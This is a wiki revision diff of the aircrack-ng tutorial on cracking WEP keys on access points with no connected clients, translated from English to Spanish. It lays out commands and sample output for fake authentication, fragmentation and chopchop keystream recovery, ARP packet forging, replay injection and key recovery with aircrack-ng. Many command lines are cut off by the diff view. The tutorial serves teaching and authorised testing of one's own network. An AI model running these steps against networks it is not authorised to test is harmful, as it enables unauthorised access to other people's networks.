spanish_how_to_crack_wep_with_no_clients
Differences
This shows you the differences between two versions of the page.
Both sides previous revisionPrevious revisionNext revision | Previous revisionLast revisionBoth sides next revision | ||
spanish_how_to_crack_wep_with_no_clients [2007/02/23 22:14] – spanish | spanish_how_to_crack_wep_with_no_clients [2007/07/17 20:54] – spanish | ||
---|---|---|---|
Line 1: | Line 1: | ||
====== Tutorial: Como crackear WEP sin clientes ====== | ====== Tutorial: Como crackear WEP sin clientes ====== | ||
- | Version: 1.02. de 10 de Febrero | + | Version: 1.09 de 16 de Mayo de 2007\\ |
- | By: darkAudax | + | By: darkAudax\\ |
- | Video: http:// | + | Video: http:// |
+ | Traducción: | ||
===== Introducción ===== | ===== Introducción ===== | ||
Line 19: | Line 20: | ||
* Estás usando drivers parcheados para inyección. Puedes capturar paquetes con Wireshark para comprobar si estás inyectando. | * Estás usando drivers parcheados para inyección. Puedes capturar paquetes con Wireshark para comprobar si estás inyectando. | ||
- | * Estás físicamente suficientemente cerca para enviar y recibir paquetes del punto de acceso. Recuerda que recibir paquetes del punto de acceso no significa que los paquetes que transmitas sean recibidos por el AP. La fuerza de la señal de las tarjetas wireless generalmente es menor que la fuerza de la señal de los AP. Por lo tanto, es necesario estar cerca del AP, para que los paquetes que transmitimos sean recibidos por el AP. | + | * Estás físicamente suficientemente cerca para enviar y recibir paquetes del punto de acceso. Recuerda que recibir paquetes del punto de acceso no significa que los paquetes que transmitas sean recibidos por el AP. La fuerza de la señal de las tarjetas wireless generalmente es menor que la fuerza de la señal de los AP. Por lo tanto, es necesario estar cerca del AP, para que los paquetes que transmitimos sean recibidos por el AP. Deberías confirmar que te puedes comunicar con el AP siguiendo [[http:// |
* No hay paquetes de datos que vienen del punto de acceso. Beacons (balizas) y otros paquetes como " | * No hay paquetes de datos que vienen del punto de acceso. Beacons (balizas) y otros paquetes como " | ||
* El punto de acceso usa encriptación WEP abierta (open authentication). No funcionará si la autentificación es compartida (shared key authentication) (SKA). Con SKA el único método si no existen clientes es capturar el PRGA xor data con airodump-ng handshake o hacer previamente un ataque con aireplay-ng. Esto es así porque necesitas el archivo PRGA xor para hacer una falsa autenticación de forma exitosa. | * El punto de acceso usa encriptación WEP abierta (open authentication). No funcionará si la autentificación es compartida (shared key authentication) (SKA). Con SKA el único método si no existen clientes es capturar el PRGA xor data con airodump-ng handshake o hacer previamente un ataque con aireplay-ng. Esto es así porque necesitas el archivo PRGA xor para hacer una falsa autenticación de forma exitosa. | ||
- | * Usamos la versión 0.7 de aircrack-ng. Si usas otra versión algunos comandos puede que se tengan que escribir de forma diferente. | + | * Usamos la versión 0.9 de aircrack-ng. Si usas otra versión algunos comandos puede que se tengan que escribir de forma diferente. |
Asegurate de que cumples todas las condiciones, | Asegurate de que cumples todas las condiciones, | ||
+ | |||
+ | En los ejemplos, la opción " | ||
Line 39: | Line 42: | ||
Tienes que obtener la información equivalente de la red sobre la que quieres trabajar. Y cambiar estos valores en los siguientes ejemplos. | Tienes que obtener la información equivalente de la red sobre la que quieres trabajar. Y cambiar estos valores en los siguientes ejemplos. | ||
- | ===== Solution | + | ===== Solución |
- | ==== Solution Overview | + | ==== Contenidos |
- | Here are the basic steps we will be going through: | + | Aquí estań los pasos que vamos a seguir: |
- | | + | |
- | *2 - Start the wireless | + | *2 - Colocar la interface |
- | *3 - Use aireplay-ng | + | *3 - Usar aireplay-ng |
- | *4 - Use aireplay-ng | + | *4 - Usar chopchop |
- | *5 - Use packetforge-ng | + | *5 - Usar packetforge-ng |
- | *6 - Start airodump-ng | + | *6 - Iniciar |
- | *7 - Inject the arp packet created in step 5 | + | *7 - Inyectar el paquete |
- | *8 - Run aircrack-ng | + | *8 - Ejecutar |
- | ==== Step 1 - Set the wireless card MAC address | + | ==== Paso 1 - Fijar la dirección |
- | To be honest, we will not be changing the wireless card MAC address. | + | Para ser honesto, nosotros no hemos cambiado la dirección |
- | This is a reminder to use your wireless card MAC address as the source | + | Esto es un recordatorio para que uses tu dirección |
- | ==== Step 2 - Start the wireless | + | ==== Paso 2 - Colocar la interface |
- | Enter the following command to start the wireless | + | Escribe el siguiente comando para poner la tarjeta |
airmon-ng start wifi0 9 | airmon-ng start wifi0 9 | ||
- | Note: In this command we use "wifi0" instead of our wireless | + | Nota: En este comando usamos “wifi0” en lugar de nuestra |
- | The system will respond: | + | El sistema nos responderá: |
| | ||
Line 76: | Line 79: | ||
| | ||
- | You will notice that "ath0" is reported above as being put into monitor | + | Puedes observar que “ath0” aparece colocada en modo monitor. |
- | Then enter "ifconfig ath0 up" to bring up ath0 to be used in later steps. | + | Escribe “ifconfig ath0 up” para levantar la interface |
- | To confirm the interface | + | Para confirmar que la interface |
- | The system will respond: | + | El sistema nos responderá: |
| | ||
Line 100: | Line 103: | ||
Tx excessive retries: | Tx excessive retries: | ||
- | In the response above, you can see that ath0 is in monitor | + | Podemos ver que ath0 está en modo monitor, |
- | To match the frequency to the channel, check out: | + | Para ver la correspondencia entre frecuencia y canal, mira: http:// |
- | http:// | + | |
- | === Troubleshooting Tips === | ||
- | *If another interface started other then ath0 then you can use that one or use " | ||
+ | === Problemas === | ||
+ | *Si tienes otra interface en modo monitor que no sea ath0, puedes usarla o escribir “airomon-ng stop athX” donde X es la interface que quieres parar. | ||
- | ==== Step 3 - Use aireplay-ng to do a fake authentication with the access point ==== | ||
- | This is a very important step. | ||
- | In order for an access point to accept a packet, the source MAC address must already be associated. | + | ==== Usar aireplay-ng para hacer una falsa autenticación con el punto de acceso ==== |
- | The lack of association with the access point is the single biggest reason why injection fails. | + | Este es un paso muy importante. |
- | To associate with an access point, use fake authentication: | + | Para que un punto de acceso acepte un paquete, la dirección MAC debe estar previamente asociada. Si la dirección MAC con la cual estas inyectando no etá asociada, el AP ignorará el paquete y enviará un paquete de desautentificación. En este caso, no se crearán nuevos IVs porque el AP está ignorando todos los paquetes inyectados. |
+ | |||
+ | La falta de asociación con el punto de acceso es la razón más habitual por la cual falla la inyección. | ||
+ | |||
+ | Para asociarse con un punto de acceso, usa el comando: | ||
aireplay-ng -1 0 -e teddy -a 00: | aireplay-ng -1 0 -e teddy -a 00: | ||
- | Where: | + | Donde: |
- | *-1 means fake authentication | + | |
- | *0 reassociation timing in seconds | + | |
- | *-e teddy is the wireless network name | + | |
- | *-a 00: | + | |
- | *-h 00: | + | |
- | *ath0 is the wireless interface name | + | |
- | Success looks like: | + | *-1 significa falsa autenticación (fake authentication) |
+ | *0 tiempo de reasociación en segundos | ||
+ | *-e teddy es el nombre de la red wireless | ||
+ | *-a 00: | ||
+ | *-h 00: | ||
+ | *ath0 es el nombre de nuestra interface | ||
+ | |||
+ | Si tenemos éxito aparecerá algo como esto: | ||
18: | 18: | ||
18: | 18: | ||
Line 137: | Line 142: | ||
18: | 18: | ||
- | Or another variation for picky access points: | + | Otra variación que puede funcionar en algunos puntos de acceso: |
aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00: | aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00: | ||
- | Where: | + | Donde: |
- | * 6000 - Reauthenticate very 6000 seconds. The long period also causes | + | |
- | * -o 1 - Send only one set of packets at a time. | + | |
- | * -q 10 - Send keep alive packets every 10 seconds. | + | *-o 1 Envia solo un tipo de paquetes de cada vez. El valor por defecto es "multiple" y esto puede confundir a algunos |
+ | *-q 10 Se envian paquetes de "sigo aquí" cada 10 segundos. | ||
- | Success looks like: | + | Si tenemos éxito aparecerá algo como esto: |
18: | 18: | ||
18: | 18: | ||
Line 153: | Line 159: | ||
18: | 18: | ||
18: | 18: | ||
- | # and so on. | + | # etc.... |
- | Here is an example of what a failed authentication looks like: | + | Ahora ponemos un ejemplo de un fallo de autenticación: |
8: | 8: | ||
18: | 18: | ||
Line 168: | Line 174: | ||
18: | 18: | ||
- | Notice the "Got a deauthentication packet" and the continuous retries above. Do not proceed to the next step until you have the fake authentication running correctly. | + | Presta atención a “Got a deauthentication packet” y los continuos intentos de asociación. No se puede pasar al siguiente paso hasta que funcione la falsa autenticación de forma correcta. |
- | === Troubleshooting Tips === | + | === Problemas |
- | | + | |
+ | |||
+ | *Si deseas confirmar que estás asociado de forma correcta puedes usar tcpdump y mirar los paquetes. Inicia una consola y escribe: | ||
- | *If at any time you wish to confirm you are properly associated is to use tcpdump and look at the packets. | ||
| | ||
- | Run: "tcpdump -n -e -s0 -vvv -i ath0" | + | tcpdump -n -e -s0 -vvv -i ath0 |
- | Here is a typical tcpdump | + | A continuación puedes ver el mensaje de error que estamos buscando: |
| | ||
- | Notice that the access point (00: | + | Presta atención que el punto de acceso |
- | If you want to select only the DeAuth packets with tcpdump | + | Si solo quieres seleccionar los paquetes de deautenticación con tcpdump |
- | ==== Step 4 - Use aireplay-ng | + | ==== Paso 4 - Usar chopchop |
- | The objective of the [[korek_chopchop|chopchop]] | + | El objetivo de [[korek_chopchop|chopchop]] |
- | Either | + | Tanto chopchop |
- | We will cover the fragmentation techninque first. Start anther console session and run: | + | A continuación exponemos primero el ataque de fragmentación. Abrimos otra consola y escribimos: |
aireplay-ng -5 -b 00: | aireplay-ng -5 -b 00: | ||
- | Where: | + | Donde: |
- | *-5 means the fragmentation attack | + | |
- | *-b 00: | + | |
- | *-h 00: | + | *-b 00: |
- | *ath0 is the wireless | + | *-h 00: |
+ | *ath0 es el nombre de nuestra | ||
- | The system will respond: | + | La respuesta que obtendremos será: |
| | ||
Line 227: | Line 235: | ||
Use this packet ? y | Use this packet ? y | ||
- | When a packet from the access point arrives, enter "y" to proceed. You may need to try a few to be successful. | + | Cuando recibamos un paquete del punto de acceso, escribe “y” para continuar. Puede que sea necesario probar unos pocos paquetes para tener éxito. |
- | When successful, the system reponds: | + | Si tenemos éxito aparecerá algo como esto: |
| | ||
Line 245: | Line 253: | ||
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream | Now you can build a packet with packetforge-ng out of that 1500 bytes keystream | ||
- | Success! | + | Éxito! El archivo “fragment-0203-180343.xor” lo podremos usar en el siguiente paso para generar un paquete |
- | If the fragmentation attack was not successful, you can then try the chopchop | + | Si con el ataque de fragmentación no hemos tenido éxito, podemos probar la técnica |
aireplay-ng -4 ath0 -h 00: | aireplay-ng -4 ath0 -h 00: | ||
- | Where: | + | Donde: |
- | *-4 means the chopchop attack | + | |
- | *-h 00: | + | |
- | *ath0 is the wireless interface name | + | |
- | The system responds: | + | *-4 significa ataque chopchop |
+ | *-h 00: | ||
+ | *ath0 es el nombre de nuestra interface | ||
+ | |||
+ | La respuesta que obtendremos será: | ||
Read 165 packets... | Read 165 packets... | ||
Line 275: | Line 284: | ||
Use this packet ? y | Use this packet ? y | ||
- | You respond | + | Contesta |
| | ||
Line 340: | Line 349: | ||
| | ||
- | Success! The file "replay_dec-0201-191706.xor" above can then be used in the next step to generate an arp packet. | + | Fantástico! El archivo “replay_dec-0201-191706.xor” lo podremos usar en el siguiente paso para generar un paquete |
- | === Helpful Tips === | + | === Pequeñas ayudas |
- | | + | |
- | *At home, to generate some packets to force chopchop | + | *Para generar algunos paquetes para forzar el comienzo de chopchop, |
- | *You can check decrypted packet by running "tcpdump -n -vvv -e -s0 -r replay_dec-0201-191706.cap". In our example above: | + | *Puedes comprobar el paquete desencriptado ejecutando “tcpdump -n -vvv -e -s0 -r replay_dec-0201-191706.cap”. En nuestroejemplo: |
| | ||
19: | 19: | ||
- | | + | |
- | *Taking the previous tip further, if you have a capture file from another session, you can use it as input "aireplay-ng -4 ath0 -h 00: | + | *Si tienes un archivo de capturas de una sesión anterior, puedes usarlo con el comando “aireplay-ng -4 ath0 -h 00: |
- | === Troubleshooting Tips === | ||
- | * If the first packet you select does not work, then try a few others. Sometimes it takes more then one try to be successful with either attack. | + | === Problemas === |
- | * The chopchop attack will not be successful on some access points. If this happens, move onto the fragmentation attack. | + | |
- | * Make sure you are properly associated. To check this, follow the tcpdump instructions in step 2. | + | |
+ | *Si el primer paquete que has seleccionado no funciona, prueba unos pocos más. Algunas veces hay que intentarlo varias veces para conseguir tener éxito en cualquiera de los ataques. | ||
+ | *El ataque chopchop no funciona en algunos puntos de acceso. Si esto ocurre, prueba el ataque de fragmentación. Y viceversa. | ||
+ | *Asegurate de que estás correctamente asociado al AP. Para comprobarlo sigue las instrucciones del paso 2 con tcpdump. | ||
- | ==== Step 5 - Use packetforge-ng to create an arp packet ==== | ||
- | In the previous step, we obtained PRGA. It does not matter which attack generated the PRGA, both are equal. | ||
- | But first, lets generate the arp packet for injection by entering: | + | |
+ | ==== Paso 5 - Usar packetforge-ng para crear un paquete | ||
+ | |||
+ | En el paso anterior hemos obtenido el PRGA. No importa con que ataque hemos generado el PRGA. Este PRGA se encuentra en los archivos con extensión “xor”. Podemos entonces usar este PRGA para generar un paquete para inyectar. Generaremos un paquete arp para la inyección. El objetivo es que el punto de acceso reenvie continuamente el paquete arp inyectado. Cuando lo reenvie obtendremos un nuevo IV (vector de inicialización). Todos estos IVs los usaremos para obtener la clave WEP. | ||
+ | |||
+ | Pero primero vamos a generar el paquete arp para la inyección, escribiendo: | ||
packetforge-ng -0 -a 00: | packetforge-ng -0 -a 00: | ||
- | Where: | + | Donde: |
- | *-0 means generate an arp packet | + | |
- | *-a 00: | + | |
- | *-h 00: | + | |
- | *-k 255.255.255.255 is the destination IP (most APs respond to 255.255.255.255) | + | |
- | *-l 255.255.255.255.255 is the source IP (most APs respond to 255.255.255.255) | + | |
- | *-y fragment-0203-180343.xor is file to read the PRGA from | + | |
- | *-w arp-request is name of file to write the arp packet to | + | |
- | The system will respond: | + | *-0 significa generar un paquete arp |
+ | *-a 00: | ||
+ | *-h 00: | ||
+ | *-k 255.255.255.255 es la IP de destino (la mayoría de los APs responden a 255.255.255.255) | ||
+ | *-l 255.255.255.255.255 es la IP de origen (la mayoría de los APs responden a 255.255.255.255) | ||
+ | *-y fragment-0203-180343.xor es el archivo del que se leerá el PRGA | ||
+ | *-w arp-request es el nombre del archivo en el que se guardará el paquete arp | ||
+ | |||
+ | La respuesta que obtendremos será: | ||
Wrote packet to: arp-request | Wrote packet to: arp-request | ||
- | === Helpful Tips === | + | === Pequeñas ayudas |
- | *After creating the packet, use tcpdump | + | *Despues de crear el paquete, usa tcpdump |
tcpdump -n -vvv -e -s0 -r arp-request | tcpdump -n -vvv -e -s0 -r arp-request | ||
Line 389: | Line 402: | ||
| | ||
- | Since you are testing against your own AP (you are, right?), then decrypt the packet and ensure it is correct. These steps are not required, they just prove to yourself that you have generated the correct packet. | + | Como estamos probando con nuestro propio |
+ | |||
+ | Escribimos: " | ||
- | Decrypt the packet: airdecap-ng -e teddy -w <put your WEP key here> arp-request | ||
- | View the decrypted packet: tcpdump -n -r arp-request-dec | ||
- | It should be something like: | ||
| | ||
| | ||
| | ||
+ | ==== Paso 6 - Iniciar airodump-ng ==== | ||
- | ==== Step 6 - Start airodump-ng ==== | + | Abrir otra consola para capturar los IVs generados. Y escribir: |
- | + | ||
- | Open another console session to capture the generated | + | |
- | airodump-ng -c 9 --bssid 00: | + | airodump-ng -c 9 --bssid 00: |
- | Where: | + | Donde: |
- | *-c 9 is the channel for the wireless network | + | |
- | *--bssid 00: | + | |
- | *--ivs specfifies that you only want to capture the IVs. This keeps the file as small as possible. | + | |
- | *-w capture is file name prefix for the file which will contain the IVs. | + | |
- | *ath0 is the interface name. | + | |
+ | *-c 9 es el canal de la red wireless | ||
+ | *– -bssid 00: | ||
+ | *– -ivs especifica que solo capturaremos IVs. Así el archivo será muy pequeño. Pero no uses esta opción si quieres utilizar " | ||
+ | *-w capture es el nombre del archivo en el que guardaremos los IVs. | ||
+ | *ath0 es el nombre de nuestra interface. | ||
- | ==== Step 7 - Inject the arp packet | + | ==== Paso 7 - Inyectar el paquete |
- | Using the console session where you generated the arp packet, enter: | + | |
aireplay-ng -2 -r arp-request ath0 | aireplay-ng -2 -r arp-request ath0 | ||
- | Where: | + | Donde: |
- | *-2 means use interactive frame selection | + | |
- | *-r arp-request defines the file name from which to read the arp packet | + | |
- | *ath0 defines the interface to use | + | |
- | The system will respond: | + | *-2 significa que usamos el modo interactivo para seleccionar el paquete |
+ | *-r arp-request especificamos el nombre del archivo con el paquete arp | ||
+ | *ath0 es el nombre de nuestra interface | ||
+ | |||
+ | Obtendremos la siguiente respuesta: | ||
Size: 68, FromDS: 0, ToDS: 1 (WEP) | Size: 68, FromDS: 0, ToDS: 1 (WEP) | ||
Line 440: | Line 453: | ||
Use this packet ? y | Use this packet ? y | ||
- | Enter "y" to use this packet. The system responds by showing how many packets it is injecting and reminds you to start airodumump if it has not already been started: | + | Escribimos “y” para usar este paquete. Veremos cuantos paquetes estamos inyectando y se nos recuerda que iniciemos airodump-ng si no lo hemos hecho todavía: |
| | ||
Line 447: | Line 460: | ||
End of file. | End of file. | ||
- | While this command is successfully running, the airodump-ng | + | Mientras este comando se está ejecutando de forma exitosa, en la ventana de airodump-ng |
| | ||
Line 459: | Line 472: | ||
00: | 00: | ||
- | You will notice that only one access point is being display since we included an airodump-ng | + | Puedes observar que solo hay un punto de acceso puesto que hemos incluido en airodump-ng |
- | === Troubleshooting Tips === | + | === Problemas |
- | *If the BSSID data packets are not increasing make sure you are still associated with the access point. To do this, follow the tcpdump | + | *Si los paquetes del BSSID (data) no aumentan asegurate de que estas todavía asociado con el punto de acceso. Para hacer esto, mira las instrucciones sobre tcpdump |
+ | ==== Paso 8 - Ejecutar aircrack-ng para obtener la clave WEP ==== | ||
- | ==== Step 8 - Run aircrack-ng to obtain the WEP key ==== | + | Inicia otra consola y escribe: |
- | Start another console session and enter: | + | aircrack-ng -z -b 00:14: |
- | aircrack-ng *.ivs -b 00:14: | + | Donde: |
- | Where: | + | *-z significa que se use el método PTW para obtener más rápido la clave WEP |
- | **.ivs selects all files ending in "ivs". | + | *capture*.cap selecciona todos los archivos que comienzan por " |
- | *-b 00: | + | *-b 00:14: |
+ | |||
+ | Puedes ejecutar aircrack-ng mientras capturas paquetes. En poco tiempo, verás la clave WEP. Usando el método PTW, necesitarás alrededor de 20,000 paquetes de datos para una clave de 64 bit y 40,000 para claves de 128 bit. Recuerda que el métodoPTW solo funciona con paquetes ARP. Como este tutorial solo cubre este tipo de paquetes no tendrás problema ninguno. El otro requerimiento es que has de capturar con airodump archivos *.cap, lo que significa que no puedes usar laopción "- -ivs" | ||
+ | |||
+ | Si no usas la opción " | ||
+ | |||
+ | Problemas: | ||
+ | |||
+ | *Algunas veces es recomendable probar varias técnicas para obtener la clave WEP rápidamente. Prueba la opción “-n” para fijar la longitud de la clave (por ejemplo -n 64). Usa “-f” y prueba diferentes "fudge factors" | ||
+ | |||
+ | ===== Solución alternativa ===== | ||
+ | |||
+ | Existe un pequeño engaño que simplifica el crackeo de la clave WEP sin clientes. | ||
+ | |||
+ | Es importante que tengas en cuenta que si usas este truco, no podrás utilizar la opción " | ||
+ | |||
+ | OK, ahora te estarás preguntando ¿porque no te enseño esta técnica paso a paso? | ||
+ | |||
+ | Hay que tener en cuenta las mismas consideraciones y realizar con anterioridad una falsa autenticación. | ||
+ | |||
+ | Escribe el siguiente comando: | ||
+ | |||
+ | | ||
+ | |||
+ | Donde: | ||
+ | | ||
+ | *-p 0841 fija el "Frame Control" | ||
+ | *c FF: | ||
+ | *-b 00: | ||
+ | *-h 00: | ||
+ | *ath0 es el nombre de nuestra interface | ||
+ | |||
+ | El sistema nos contestará: | ||
+ | |||
+ | Read 698 packets... | ||
+ | |||
+ | Size: 86, FromDS: 1, ToDS: 0 (WEP) | ||
+ | |||
+ | | ||
+ | Dest. MAC = FF: | ||
+ | Source MAC = 00: | ||
+ | |||
+ | 0x0000: | ||
+ | 0x0010: | ||
+ | 0x0020: | ||
+ | 0x0030: | ||
+ | 0x0040: | ||
+ | 0x0050: | ||
+ | |||
+ | Use this packet ? y | ||
+ | |||
+ | Escribes " | ||
+ | |||
+ | | ||
+ | |||
+ | Sent 10204 packets...(455 pps) | ||
- | You can run this while generating packets. | + | Si aun no has iniciado airodump-ng, |
- | Troubleshooting Tips: | + | Otra variación de este ataque es usar paquetes de una captura anterior. |
- | *Sometimes you need to try various techniques to crack the WEP key. Try " | + | A continuación puedes ver como sería el comando: |
+ | | ||
- | =====Change Log ===== | + | Donde "-r capture-01.cap" |
- | Februray 16/2007 | + | |
- | * Added video from [[http:// | + | |
- | February 10/2007 v1.02 | ||
- | * Added the assumption with regards to open authentication | ||
- | February 7/2007 v1.01 | ||
- | * Incorporated correction and feedback from cjaghblb | ||
- | February 4/2007 v1.00 | ||
- | * Initial Release |